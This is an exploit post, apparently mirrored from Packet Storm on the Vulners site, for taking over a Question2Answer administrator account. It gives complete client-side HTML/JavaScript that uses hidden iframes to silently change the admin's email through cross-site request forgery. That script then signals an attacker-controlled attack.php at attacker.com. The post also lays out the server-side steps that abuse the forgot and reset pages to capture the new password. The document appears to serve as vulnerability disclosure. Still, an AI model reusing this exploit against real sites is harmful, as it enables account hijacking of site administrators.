Lucene search
K

Question2Answer Cross Site Request Forgery

🗓️ 08 Mar 2013 00:00:00Reported by MustLiveType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Question2Answer Cross Site Request Forgery exploit described with client-side and server-side parts

Code
`Hello!  
  
Here is exploit for stealing admin's account in Question2Answer. This  
exploit uses Cross-Site Request Forgery vulnerability at http://site/account  
and Insufficient Anti-automation vulnerabilities at http://site/forgot and  
http://site/reset, which I've described in the second advisory about  
Question2Answer (http://websecurity.com.ua/6192/).  
  
http://websecurity.com.ua/uploads/2013/Question2Answer%20Exploit.txt  
  
It will work in all affected versions of Question2Answer (and second part of  
the attack will work at default settings). If the admin of the target site  
has changed default settings and setup captcha at http://site/forgot, then  
server-side part of the attack can be done manually after conducting CSRF  
attack.  
  
Client-side part of exploit do the next (code provided bellow):  
  
1. Changes e-mail of the user or admin via CSRF.  
2. Start server-side part of exploit via request to attack.php.  
  
Server-side part of exploit (attack.php) do the next (algorithm):  
  
After receiving the signal from client-side part of exploit, attack.php do  
the next:  
  
1. Send POST request to http://site/forgot:  
  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/forgot" method="post">  
<input type="hidden" name="emailhandle" value="[email protected]">  
<input type="hidden" name="doforgot" value="1">  
</form>  
</body>  
  
2. Check mailbox for letter with the code:  
  
Code: 4f84yl1d  
  
This line contains code for resetting password.  
  
3. Send GET request to http://site/reset with this code:  
  
http://site/reset&c=4f84yl1d&e=email%40attacker.com  
  
4. New password is sent to attacker's e-mail.  
  
Code of client-side exploit for stealing admin's account in Question2Answer:  
  
<html>  
<head>  
<title>Exploit for stealing admin's account in Question2Answer. Made by  
MustLive. http://websecurity.com.ua</title>  
</head>  
<body onLoad="StartCSRF()">  
<script>  
function StartCSRF() {  
for (var i=1;i<=2;i++) {  
var ifr = document.createElement("iframe");  
ifr.setAttribute('name', 'csrf'+i);  
ifr.setAttribute('width', '0');  
ifr.setAttribute('height', '0');  
document.body.appendChild(ifr);  
}  
CSRF1();  
setTimeout(CSRF2,1000);  
}  
function CSRF1() {  
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"  
action="http://site/account" method="post">\n<input type="hidden"  
name="handle" value="test">\n<input type="hidden" name="email"  
value="[email protected]">\n<input type="hidden" name="messages"  
value="1">\n<input type="hidden" name="mailings" value="1">\n<input  
type="hidden" name="field_1" value="test">\n<input type="hidden"  
name="field_2" value="test">\n<input type="hidden" name="field_3"  
value="test">\n<input type="hidden" name="dosaveprofile"  
value="1">\n</form>';  
window.frames["csrf1"].document.hack.submit();  
}  
function CSRF2() {  
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"  
action="http://attacker.com/attack.php" method="post">\n<input type="hidden"  
name="do" value="1">\n</form>';  
window.frames["csrf2"].document.hack.submit();  
}  
</script>  
</body>  
</html>  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation